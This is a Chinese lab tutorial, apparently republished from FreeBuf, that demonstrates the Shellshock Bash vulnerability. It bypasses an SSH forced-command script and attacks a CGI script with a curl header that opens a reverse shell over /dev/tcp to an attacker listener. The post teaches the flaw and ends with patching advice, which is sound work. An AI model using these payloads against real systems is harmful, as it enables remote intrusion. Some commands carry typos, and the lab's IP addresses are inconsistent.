在上篇《安全科普:让高大上的Bash破壳漏洞不再难理解(上)》中我们介绍了不少基础知识,现在我们是时候搭建个环境实战一下了。
所需环境介绍
虚拟机:
推荐使用virtualbox
攻击端:
Linux即可,本文使用的都是命令行工具。
受害端:
谁说Kali Linux只能用来进行攻击的?本文使用的是Kali Linux1.08版本含有破壳漏洞的版本,ip为192.168.1.105。
虚拟机的使用和配置敬请百度~,确保攻击端和被攻击端可连通。
利用破壳漏洞绕过SSH控制脚本
0×01 建立一个名为‘shellshock用户
useradd -d /home/shellshock -s /bin/bash shellshock
其中 /home/shellshock/ 是’家‘(home)目录,/bin/bash/是Bash shell的绝对目录
检查一下我们的创建的用户:
cat /etc/passwd | grep ‘shellshock’
创建文件夹:
mkdir /home/shellshock
让shellshock用户拥有文件夹的所有权:
chown -R shellshock /home/shellshock
0×02 SSH客户端创建授权密钥
通常我们使用用户名和密码登录开放SSH的机器,为了成功实现这个实验,我们需要配置授权密钥,使得登陆时无须输入用户名和密码。
使用公钥验证登录是更佳安全的方法,SSH公钥验证使用的是非对称加密算法(例如:RSA ¥%wiki链接)以产生一对密钥(私钥和公钥)。
私钥储存在客户端(本文为攻击端),公钥储存在运行SSH的服务器上(本文为受害端)。
登录攻击端进行配置:
ssh-keygen -t rsa
会提示我们存放位置和是否使用保护密码,我们全部一路回车解决:
公钥和私钥创建后存放的位置:
私钥 /home/gaba/.ssh/id_rsa 公钥 /home/gaba/.ssh/id_rsa.pub
现在我们通过ftp将公钥传到SSH服务端(受害端):
cd /home/gaba/.ssh/
sftp [email protected]
然后将id_rsa.pub传到受害端:
#注意KaliLinux开启了FTP服务: 1.安装vsftpd: apt-get intall vsftpd 2.开启vsftpd: service vsftpd start
0×03 将授权密钥添加到SSH服务器
检查公钥是否称成功传了过来:
ls -l id_rsa.pub
创建.shh文件夹:
mkdir /home/shellshock/.ssh
存放授权密钥到authorized_key:
cat id_rsa.pub > /home/shellshock/.ssh/authorized_key
检查sshd_config
注意是sshd_config不是ssh_config,按Tab时手下留情。
0×04 从客户端登录
ssh [email protected]
成功登录受害端,我们再试一下加上一条命令:
ssh [email protected] uname
OK,uname命令执行了,我们也可以在受害端尝试执行一下uname命令看看回显对不对。
我们知道了可以将命令作为参数 跟在ssh登录的命令后面。尝试uname -a 命令后我们会知道是在ssh目标机中执行的:
0×05 用破壳绕过脆弱的验证
我们尝试在验证密钥中添加一段脚本:
command="/home/shellshock/.ssh/script.sh"
脚本内容:
让脚本可执行:
chmod +x script.sh
现在我们再用ssh [email protected] uname登录:
script.sh中的SSH_ORIGNAL_COMMAND中存放着用户在ssh登录时提供的命令,我们在公钥中插入的这段命令是用来控制命令的执行(比如本文的uname)。知识点传送门:SSH小技巧
利用破壳漏洞绕过控制脚本:
'() { :;}; uname'
uname命令在一次执行了,我们绕过了控制脚本。
HTTP/S服务器破壳漏洞利用
开启Kali Linux的apache2服务:
service apache2 start
按照下面图片中的位置写入vulerable.sh
在攻击端上执行:
curl http://192.168.1.104/cgi-bin/vulnerable.sh
得到了相应的回显“bash examlple”
使用-v参数获得更多过程中的信息:
curl -v http://192.168.1.104/cgi-bin/vulnerable.sh
恩,我们大概知道了curl在本文中的用途了,好奇心强的童鞋要记得百度这是一个什么工具哦。
那么,如果有一台服务器存在破壳漏洞并且在/cgi-bin/目录下有一个可执行脚本,那么我们怎么利用破壳漏洞呢?
由于父进程执行一个Bash shell后会将所有的参数传递到子进程的环境变量,我们利用这一点发送一条恶意指令来获得一个反向shell:
首先nc监听:
nc -lv 4444
再打开一个终端,然后:
curl –H 'x: () { :;}; /bin/bash –I >& /dev/tcp/攻击端ip/4444 0>&1' http://受害端ip/cgi-bin/vulnerable.sh
效果如下:
我们利用破壳漏洞得到了反向shell进入了受害机。
如何发现可利用这种漏洞的机器呢?
违法的事情我们坚决不做,更多深入的姿势在FreeBuf中有文章有说过哦~
如何修补破壳漏洞
升级Bash o(^_^)o…
[本文信息来源:practical-shellshock-exploitation-part-2,有改动,转载请注明来自:FreeBuf.com]